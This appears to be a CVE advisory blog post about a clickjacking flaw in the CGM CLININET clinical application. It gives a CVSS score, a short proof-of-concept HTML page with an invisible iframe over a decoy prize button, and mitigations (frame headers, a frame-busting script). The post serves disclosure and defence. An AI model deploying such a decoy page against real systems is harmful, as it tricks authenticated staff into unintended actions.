CGM CLININET, Clickjacking, CVE-2025-58405 (Medium)

By /

Listen to this Post

The CGM CLININET application fails to implement clickjacking protections, lacking both HTTP security headers like X-Frame-Options or Content-Security-Policy and HTML-based frame-busting scripts . This vulnerability, classified under CWE-1021, allows an attacker to embed the vulnerable application within a malicious IFRAME on an attacker-controlled site . By tricking an authenticated user into interacting with this disguised interface, the attacker can hijack their clicks to perform unintended actions, such as changing settings or initiating transactions, which can also bypass existing Cross-Site Request Forgery (CSRF) defenses . The attack requires user interaction and has a low impact on integrity, with a CVSS base score of 5.3 (Medium) .
Platform: CGM
Version: <2025.MS3
Vulnerability : Clickjacking (CWE-1021)
Severity: Medium
date: 2026-03-02

Prediction: 2026-04-30

What Undercode Say:

Analytics:

CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Attack Vector: Network

Privileges Required: None

User Interaction: Required

Published: March 2, 2026

Last Modified: March 9, 2026

Weakness: CWE-1021

Source: CERT.PL

How Exploit:

An attacker can create a decoy webpage with an invisible iframe pointing to the CGM CLININET application.

<html>
<head><>Click for a Prize</></head>
<body>

<iframe src="https://victim-cgm-clininet-instance.com/sensitive-action" style="opacity:0; position:absolute; top:0; left:0; width:100%; height:100%; z-index:2;"></iframe>

<button style="position:absolute; top:100px; left:100px; z-index:1; width:200px; height:50px;">Claim Your Reward</button>
</body>
</html>

The button is styled to align perfectly with a target button on the invisible application iframe. When the user clicks the visible button, they are actually clicking the application interface, triggering an unintended action .

Protection from this CVE:

  1. Apply Patch: Upgrade CGM CLININET to version 2025.MS3 or later .
  2. Server-Side Headers: If patching is delayed, configure the web server to send appropriate HTTP response headers.

`X-Frame-Options: DENY`

`Content-Security-Policy: frame-ancestors ‘none’;`

  1. Client-Side Defense: As a defense-in-depth measure, implement a frame-busting JavaScript snippet in the application pages. 
    </li>
</ol>

<script>
if (self !== top) {
top.location = self.location;
}
</script>

    Impact:

    A successful clickjacking attack can trick authenticated users into performing actions they did not intend, such as modifying configurations, escalating user privileges, or initiating unauthorized data transactions. Because the action is performed within the user’s legitimate session, it can effectively bypass existing CSRF protections, leading to a compromise of data integrity .

    🎯Let’s Practice Exploiting & Learn Patching For Free:

    Sources:

    Reported By: nvd.nist.gov
    Extra Source Hub:
    Undercode

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow DailyCVE & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top